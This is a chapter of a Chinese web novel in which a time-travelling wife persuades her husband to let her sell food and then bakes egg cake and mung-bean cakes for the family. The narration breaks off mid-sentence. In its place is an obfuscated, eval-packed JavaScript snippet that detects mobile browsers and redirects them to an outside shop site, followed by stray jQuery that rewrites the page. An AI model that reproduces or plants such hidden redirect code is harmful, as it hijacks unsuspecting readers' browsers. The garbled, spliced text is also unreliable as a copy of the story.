她推门回屋的时候,屋里一片安静。
大娃趴在床上撅着屁股,手里攥着支铅笔,很认真地在纸上来回涂画。林露忍不住想起他之前画出来的“菜谱”杰作,嘴角微微扬起——看来大厨又在研发“新菜式”了。
男人则在不紧不慢地用削出来的细竹条在做什么,林露打量了一会儿忍不住好奇问道:“你这是在做什么?”
男人专注手里的东西,头也不抬地说:“筲箕。”
“你还有这一手!那院子里的那些竹条都是用来做这个的吗?”
她收拾柴火进厨房的时候,还以那些也是柴火,差点一并放进柴火堆了,还是张龙跑过来说是袁野要用来的。
男人想了想说:“再做个井盖,竹制的轻便些。”
那感情好啊,她还没跟他说这个事,他就已经想好了,看来他们还是有点默契的,那做生意这个事应该也不会有太多意见吧。
长痛不如短痛,林露从身后端出一个小碗,凑到袁野面前,想卖个关子等着男人发问。结果对方只是扫了一眼,压根不感兴趣碗里的东西是什么。
她不信邪地继续放在对方面前,故意挡住对方编筲箕的视线,她还就不信了。
袁野低着头手里的动作不停,可心思早就不在竹编上,这个女人刚才进来就背着手显然是藏了什么东西,现在满脸写着‘你快问我’四个字,和心底那丁点好奇相比,对方想卖关子却按耐不住的样子更让他觉得有意思。
林露见怎么移动手挡住男人的视线他都无动于衷,这个人怎么回事?这筲箕是要拿来蒸饭还是用来补天啊,停一会儿怎么了?都没有好奇心的吗。
她怎么就没有这种定力,之前因为好奇爱看热闹,一次成功围观事后却发现手机被偷了,一次在兴冲冲跑去围观的路上被电动车撞了,这就是人与人的差别吗。
手都举酸了,林露有些气急败坏。
“你知道这是什么嘛!”语气严肃,活像是让犯人指认犯罪凶器。
袁野抿了抿唇,压下嘴角的笑意,很配合地认真看了看碗里的东西,抬起头眉眼间略带一丝桀骜,坦白说:“不知道。”
“不知道?”林露下意识扬声反问,可话音刚落她就觉得好像哪里不对劲。不对不对,他不知道不是应该的吗,怎么感觉想在拷问对方啊。
意识到自己是来透露生意让其加入的而不是让对方坦白罪行的,她有些尴尬地找补,点点头说:“嗯,不知道就对了,这个是冰粉籽,用来做冰粉的。”
“之前我不是和你说过,我想做点买卖,我现在已经打算好了,就卖吃的。”然后把和李柱的合作内容说了个大概,至于手艺这些就和之前的说辞一样,从城里的亲戚那学的。
“……”
男人眉头微皱,没有说话。
倒是原本一旁专心画画的大娃耳朵动了动,亮晶晶的眼睛里闪着疑惑,凑到林露身边问:“婶婶,冰粉是可以吃的吗?是什么样子的?”
林露看男人没说话就知道对方大概不是很赞成,还是大娃好,大娃说的原本是她在脑海中给男人安排的台词,只要对方表现出好奇,开始问她这是什么啊?好吃吗?能赚钱吗?她就可以可以用她提前想好的话回答,结果这人不是沉默就是不知道。
她欣慰地摸了摸大娃的脸颊,声音低柔说:“当然可以吃,不过现在还没做好,做好了你第一个吃。”说着朝男人那边悄悄看了一眼。
“不过这个是秘密,你不能告诉别人婶婶会做冰粉哦。”
“我谁都不是说,之前你说给我糖说不能告诉小叔,我就没告诉小叔。”大娃骄傲地仰着个小脑袋觉得自己在保守秘密这一块做得非常好。
“……”这孩子
“大娃,去自己房间画画。”男人淡淡说了一句。
“好哦。”大娃平时最听小叔的话,乖乖地拿上自己本子和铅笔就翻下床,临走前鼓励婶婶,“婶婶你要加油做冰粉。”
林露很是受用地点点头,“嗯嗯。”
没了小家伙,屋里又恢复了安静。
袁野:“做生意不是简单的事,况且我现在不方便,你一个女人被人盯上怎么办?家里的钱够用,又不是山穷水尽的地步,没必要去冒险。”心里隐隐有些后悔之前不该带她去那边的。
男人虽然不赞成,但主要是担心她,这一点让她有些动容。
不可否认男人说得在理,如果她没有空间一直生活在这个时代,那她可能也不会有一定要去做的勇气和理由。只是她既有空间又知道未来趋势就不想浪费这些优势,加上她本来也喜欢和美食打交道,不然她也不会做美食博主。
只是她的这些优势只有她自己知道,她不能告诉他。
虽然对方在她眼里是一个比较靠谱的人,他们每天晚上睡一张床上,但一个靠窗一个门都是规规矩矩的。并且之前袁野同意结婚大概有其他原因,反正对方一直都没碰过原主,真夫妻都有离婚的,何况他们这种情况,她不想赌。
林露想了想,语气温和地解释:“我的手艺不差的,李哥和我是合作关系,他见多识广也会帮我把关。钱现在是够,自留地也能顾得过来,但没了假后面天天去地里挣工分我肯定吃不消。”余光瞟了男人一眼,小声嘀咕:“总不能……又叫其他人来帮忙吧。”
听到这句话的男人脸色瞬间沉下来,薄唇抿成一条线,声音低沉冷冽:“林露,我只是伤了脚,不是死了。”
林露被叫得一激灵。
不好,好像说错话了,她赶紧安抚,哄道:“哎呀我不是那个意思,我是想说我干不了体力活,也不想你一个人干两个人的活,我想靠自己的手艺吃饭。安全问题你不用担心,一般都是白天在镇上赶集那天,李哥秦姐他们人也不错。”
李柱这个人袁野知道,之前也收过他的猎物,给的价格算是比较公道,据说很早开始在市场里混,这个环境能创出名堂的,除了脑子活泛,人品也不能差。
沉默半响,男人点了头。
“明天让张龙跟你一起去。”男人还是有点不放心。
林露:“不要。我自己去就行,我都跟人家说好了,而且老麻烦张龙也不太好。”对方关心自己的安全这很好,但找个人跟着她没办法随意进出空间拿东西啊,绝对不行。
然后两人又掰扯了很久,当然,主要是林露在输出,最终男人败下阵来。
过了明路,以后也不用赚了钱偷着乐了,林露想到可以分享赚钱的喜悦心里就高兴,兴奋地和袁野说:“等着,我现在就去做,必须给你们尝尝我的手艺。”
看着女人神采飞扬的样子,袁野微微出神,有时候他都忍不住怀疑这个女人是不是被山里的精怪附了身。
关上厨房门,林露先从空间拿出冰粉籽,她把冰粉洗出来后放进冰箱冷藏起来,又从空间拿出二十个鸡蛋、低筋面粉、中筋面粉、一大袋白糖和一点泡打粉。
东西都尽然有序地放在方桌上,想了想决定还是先做鸡蛋糕吧。
拿出一个搪瓷盆洗干净擦干,以防装不下只打了一半的鸡蛋,加入白糖混合然后就要打发。林露把两双筷子交错绑在一起,做了一个简易的打发工具,为了更快打发他把找了个更大点的盆放了热水,然后把搪瓷盆放里面开始打发……不行,她的体力不借助现代工具可能今天晚上才能打发出来,如果空间没了这种情况怎么办呢。之前她想把电子测温器拿出来用,结果人出来了东西还在空间原位放着,她又测试了其他用具发现也拿不出来,所以空间没了这些东西会一起消失。
得想个办法……
袁野见林露端着个大盆进来,没想到这么快就做好了。
“快,帮个忙,帮我打发一下鸡蛋液。”林露将一旁的桌子移了过来,把盆放在上面示范了一遍,“嗯……就像我这样……然后等出现的气泡后你就要很快地划圈,一直搅直到颜色变浅发白就好了。”
把筷子递给男人的同时不着痕迹地打量了一下对方结实的手臂,这简直就是为打发蛋液而生的。
袁野看了看盆里的鸡蛋,不确定地问:“大概要多久?”
林露摇摇头:“很难说。”
“好好干。”拍了拍男人肩膀,不带一丝留恋地走了。
袁野:“……”
林露回到厨房直接复刻之前的操作,但这一盆还是用机器打吧,毕竟她只是想看看他能不能打发出来,别脚伤还没好,又把手累出毛病了,那她罪过就大了。
等机器和人力打发的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026521|194438||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
同时,把灶膛烧热,幸好之前让白叔多挖了一个灶膛,这个用来做烤鸡蛋糕正合适。
拿出打发好的蛋液放入低筋面粉翻拌均匀,再在另一个盆里抹好油倒入刚才搅拌好的鸡蛋面糊,没倒完留了一点倒进搪瓷杯里。等会儿一个送进了空间厨房的烤箱,另一个放进灶膛里,毕竟之前没用过怕掌握不好温度,用一茶杯的量试试火候。
差不多快有半个小时了,不知道袁野那边怎么样了。
林露过来的时候看见男人正面无表情地捶右臂,见对方看过来她心虚又讨好地笑笑,“辛……辛苦了哈,弄好了?”
袁野抬了下下巴,这破买卖费不费钱不知道,还挺费人的,他打猎种田手都没这么酸过,眼看女人端着盆就要走,不乐意地叫住人。
“这东西每天都要弄?”
“没有没有,不是每天,而且有些糕点不用打发的。”
男人点点头。
不错,没想到人力也能打发得这么好,而且比她想象用时还短,感觉还有可以开发的潜能。
林露把这盆也像刚才一样搅拌好倒入模具,放进预热好的烤箱。
趁着这个时间,她又开始做绿豆饼的外皮,揉好面团后放在一旁醒发。
过了一会儿,灶膛里慢慢飘出鸡蛋糕的香味,看了眼时间应该要再烤5分钟就可以了,不过烤箱里的鸡蛋糕应该已经可以出炉了。
端出两盆鸡蛋糕,散发着热气的鸡蛋糕瞬间把厨房都填满了香甜,两盆都烤得很好,色泽金黄,表面饱满没有开裂。
她又夹出灶膛里的搪瓷杯,可能是里面温度不均有一边烤得有些过了,到时候如果是大盆的话进里面烤的话还是要时不时转一下才行。
正要脱模倒出来切块就听见厨房门响了。
“婶婶你在厨房吗?是在做冰粉吗,好香啊。”大娃咽了咽口水,这冰粉味道好像和之前小叔买过的鸡蛋糕味道一样。
林露打开门,把门外的小家伙带到桌前,切下一块鸡蛋糕拿给大娃,“这个是鸡蛋糕不是冰粉,冰粉是冰冰凉凉的。”
大娃拿着林露给他的鸡蛋糕,开心地手舞足蹈,什么冰粉一下就忘了,“鸡蛋糕!哇,鸡蛋糕,好香啊,我好久都没有吃了,这是世界上最好吃的鸡蛋糕!”
这情绪价值给得真足!
林露照例说了保密工作,告诉大娃家里做的这些吃的,别人要是问起就说是买的。大娃沉浸在美味里连连点头,觉得会做鸡蛋糕的婶婶已经快要超过小叔在他心里的地位了。
把两盆鸡蛋糕切好,匀出来一些放进碗里,剩下的用干荷叶分别包好。拿过搪瓷杯给大娃,让他拿去给袁野尝尝。杯里的也没完全烤糊,只是上面一层颜色不好看,想来对方应该不会介意吧。
看了眼面团已经醒发好就开始做绿豆饼,相比鸡蛋糕,绿豆饼步骤就稍微多点,需要做绿豆馅。把之前泡好的绿豆上锅蒸,蒸好后放糖再加点油用勺子碾烂,然后用饼皮包成一个个圆球再压扁,最后数了数做了57个。
放在锅里烙4分钟左右就可以出锅了。
满屋都是鸡蛋糕的奶香味,绿豆饼本就不重的香味被掩盖住了,拿出三个其他的依旧用干荷叶包好。
现在鸡蛋糕和绿豆饼都做好了,冰粉也只差做点配料,已经开始期待明天的大集了。
里屋虽然隔着堂屋离厨房远,但香味也慢慢飘了过来。
袁野看着坐在他身旁的大娃,嘴里全是婶婶多厉害,鸡蛋糕有多香,想到自己之前也买过鸡蛋糕就问大娃。
“我买的鸡蛋糕好吃还是你婶婶做的好吃?”
大娃嘴里抿了抿,像是回味刚才的味道,又转着小眼睛不时地看向茶杯里的鸡蛋糕,不好意思地说:“小叔,我有点忘了婶婶做的鸡蛋糕的味道了。”
“……”
袁野对着小孩的脑门轻弹了个脑瓜崩,把杯里的鸡蛋糕掰成两半递给大娃,他自己也吃了一口,虽然这一半上面明显烤过了卖相不好,但味道一点不差。
一个知青有这个手艺,也敢去做买卖,听说家里条件还不错,如果当初她没犯糊涂他们大概根本不会有交集。
握着茶杯的手不自觉攥紧……所以当初她到底是期待谁在旁边醒来呢?